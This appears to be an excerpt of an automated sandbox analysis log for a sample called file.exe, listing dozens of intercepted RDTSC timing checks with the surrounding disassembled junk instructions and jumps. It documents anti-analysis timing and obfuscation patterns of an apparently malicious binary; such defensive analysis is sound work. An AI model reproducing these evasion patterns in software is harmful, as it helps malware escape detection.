Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF79D9 second address: AF79E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FEA38E8CA36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF79E8 second address: AF7A0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEA38C22209h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7A0C second address: AF7A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7B4B second address: AF7B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38C22202h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B128B6 second address: B128C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jp 00007FEA38E8CA3Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B128C5 second address: B128D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 jnp 00007FEA38C221FCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12732 second address: B12738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13F74 second address: B13F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13F7A second address: B13F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16A6C second address: B16A83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEA38C221FEh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A175CA second address: A175CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D8A1 second address: B2D8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D8A7 second address: B2D8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DBA7 second address: B2DBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DBAB second address: B2DBB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEA38E8CA36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DD03 second address: B2DD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEA38C221FCh 0x0000000b popad 0x0000000c push ebx 0x0000000d jmp 00007FEA38C22202h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DD2A second address: B2DD31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DE70 second address: B2DE93 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEA38C22204h 0x0000000b pushad 0x0000000c jbe 00007FEA38C221F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DE93 second address: B2DE99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E14E second address: B2E152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E2CE second address: B2E2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E2D7 second address: B2E2E3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA38C221F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E2E3 second address: B2E2EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E2EB second address: B2E2EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E445 second address: B2E484 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEA38E8CA3Ch 0x00000008 jng 00007FEA38E8CA36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jp 00007FEA38E8CA36h 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007FEA38E8CA44h 0x00000021 jg 00007FEA38E8CA36h 0x00000027 popad 0x00000028 jl 00007FEA38E8CA3Eh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E5D4 second address: B2E5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E5DB second address: B2E5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E5E1 second address: B2E5E7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E708 second address: B2E70C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E70C second address: B2E710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E710 second address: B2E71C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E71C second address: B2E720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E720 second address: B2E735 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA41h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31591 second address: B31597 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31597 second address: B315FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a and edx, dword ptr [ebp+122D1F60h] 0x00000010 push 00000004h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FEA38E8CA38h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dx, di 0x0000002f push 9F68094Fh 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 jmp 00007FEA38E8CA45h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3444A second address: B34466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38C22207h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20261 second address: 4E20267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20267 second address: 4E2026B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2026B second address: 4E2026F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2026F second address: 4E202B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FEA38C22203h 0x00000012 adc ax, 786Eh 0x00000017 jmp 00007FEA38C22209h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E202B0 second address: 4E202B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E202B5 second address: 4E202CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 38BE2AD0h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edx, 396F4132h 0x00000014 mov edx, 5B4C3E7Eh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20332 second address: 4E20336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20336 second address: 4E2033C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2033C second address: 4E203B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FEA38E8CA3Eh 0x00000010 movzx ecx, bx 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 mov dx, cx 0x00000019 mov dl, al 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FEA38E8CA3Ah 0x00000026 xor ah, FFFFFFC8h 0x00000029 jmp 00007FEA38E8CA3Bh 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007FEA38E8CA48h 0x00000035 jmp 00007FEA38E8CA45h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E203B8 second address: 4E203DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 jmp 00007FEA38C22203h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E203DC second address: 4E203E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E203E0 second address: 4E203E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2042E second address: 4E20458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEA38E8CA3Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FEA38E8CA40h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20458 second address: 4E2045C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2045C second address: 4E20462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20462 second address: 4E204BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 00819E08h 0x00000008 mov ebx, 509692B4h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FEA38C22203h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FEA38C22204h 0x0000001f add ecx, 6A5D1398h 0x00000025 jmp 00007FEA38C221FBh 0x0000002a popfd 0x0000002b mov si, 854Fh 0x0000002f popad 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204BC second address: 4E204C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204C0 second address: 4E204C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204C6 second address: 4E204CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204CC second address: 4E204D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2050E second address: 4E20532 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20532 second address: 4E20564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEA38C22200h 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEA38C22203h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20564 second address: 4E205E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 pushfd 0x00000006 jmp 00007FEA38E8CA40h 0x0000000b or ah, FFFFFFA8h 0x0000000e jmp 00007FEA38E8CA3Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a push edi 0x0000001b pop edx 0x0000001c mov di, cx 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FEA38E8CA44h 0x0000002d sub ch, 00000038h 0x00000030 jmp 00007FEA38E8CA3Bh 0x00000035 popfd 0x00000036 pushfd 0x00000037 jmp 00007FEA38E8CA48h 0x0000003c or ah, FFFFFF98h 0x0000003f jmp 00007FEA38E8CA3Bh 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E205E9 second address: 4E20637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEA38C221FFh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FEA38C22209h 0x0000000f xor cx, 5EE6h 0x00000014 jmp 00007FEA38C22201h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20637 second address: 4E2063D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2063D second address: 4E20643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20643 second address: 4E20666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FEAA95E03DDh 0x0000000d push 755727D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75600140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FEA38E8CA42h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20666 second address: 4E2066C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2066C second address: 4E20672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20672 second address: 4E20676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20676 second address: 4E2069E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2069E second address: 4E206BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E206BB second address: 4E20731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FEA38E8CA3Eh 0x00000011 mov esi, edx 0x00000013 jmp 00007FEA38E8CA40h 0x00000018 mov al, byte ptr [edx] 0x0000001a jmp 00007FEA38E8CA40h 0x0000001f inc edx 0x00000020 jmp 00007FEA38E8CA40h 0x00000025 test al, al 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FEA38E8CA47h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20731 second address: 4E20731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FEA38C22195h 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007FEA38C22200h 0x00000016 inc edx 0x00000017 jmp 00007FEA38C22200h 0x0000001c test al, al 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FEA38C22207h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20763 second address: 4E2082B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b jmp 00007FEA38E8CA47h 0x00000010 mov edi, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FEA38E8CA44h 0x0000001a xor al, 00000018h 0x0000001d jmp 00007FEA38E8CA3Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FEA38E8CA48h 0x00000029 sub ah, 00000078h 0x0000002c jmp 00007FEA38E8CA3Bh 0x00000031 popfd 0x00000032 popad 0x00000033 dec edi 0x00000034 pushad 0x00000035 mov cl, D4h 0x00000037 movsx edi, si 0x0000003a popad 0x0000003b lea ebx, dword ptr [edi+01h] 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007FEA38E8CA46h 0x00000045 jmp 00007FEA38E8CA45h 0x0000004a popfd 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FEA38E8CA3Eh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2082B second address: 4E20849 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b jmp 00007FEA38C221FCh 0x00000010 inc edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20849 second address: 4E2084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2084D second address: 4E2086A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2086A second address: 4E2090A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEA38E8CA47h 0x00000009 xor eax, 6FF03ABEh 0x0000000f jmp 00007FEA38E8CA49h 0x00000014 popfd 0x00000015 movzx esi, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test al, al 0x0000001d pushad 0x0000001e jmp 00007FEA38E8CA49h 0x00000023 mov si, B5E7h 0x00000027 popad 0x00000028 jne 00007FEAA95D4BE9h 0x0000002e jmp 00007FEA38E8CA3Ah 0x00000033 mov ecx, edx 0x00000035 jmp 00007FEA38E8CA40h 0x0000003a shr ecx, 02h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FEA38E8CA47h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2090A second address: 4E2094E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 mov ebx, 66B23A66h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 jmp 00007FEA38C221FDh 0x0000001c mov ecx, edx 0x0000001e jmp 00007FEA38C221FEh 0x00000023 and ecx, 03h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jmp 00007FEA38C221FDh 0x0000002e mov si, 5877h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2094E second address: 4E20970 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEA38E8CA3Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20970 second address: 4E209F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22201h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 jmp 00007FEA38C221FEh 0x00000015 mov eax, ebx 0x00000017 jmp 00007FEA38C22200h 0x0000001c mov ecx, dword ptr [ebp-10h] 0x0000001f pushad 0x00000020 movzx esi, dx 0x00000023 pushfd 0x00000024 jmp 00007FEA38C22203h 0x00000029 xor eax, 641A7A6Eh 0x0000002f jmp 00007FEA38C22209h 0x00000034 popfd 0x00000035 popad 0x00000036 mov dword ptr fs:[00000000h], ecx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 movzx esi, di 0x00000043 rdtsc
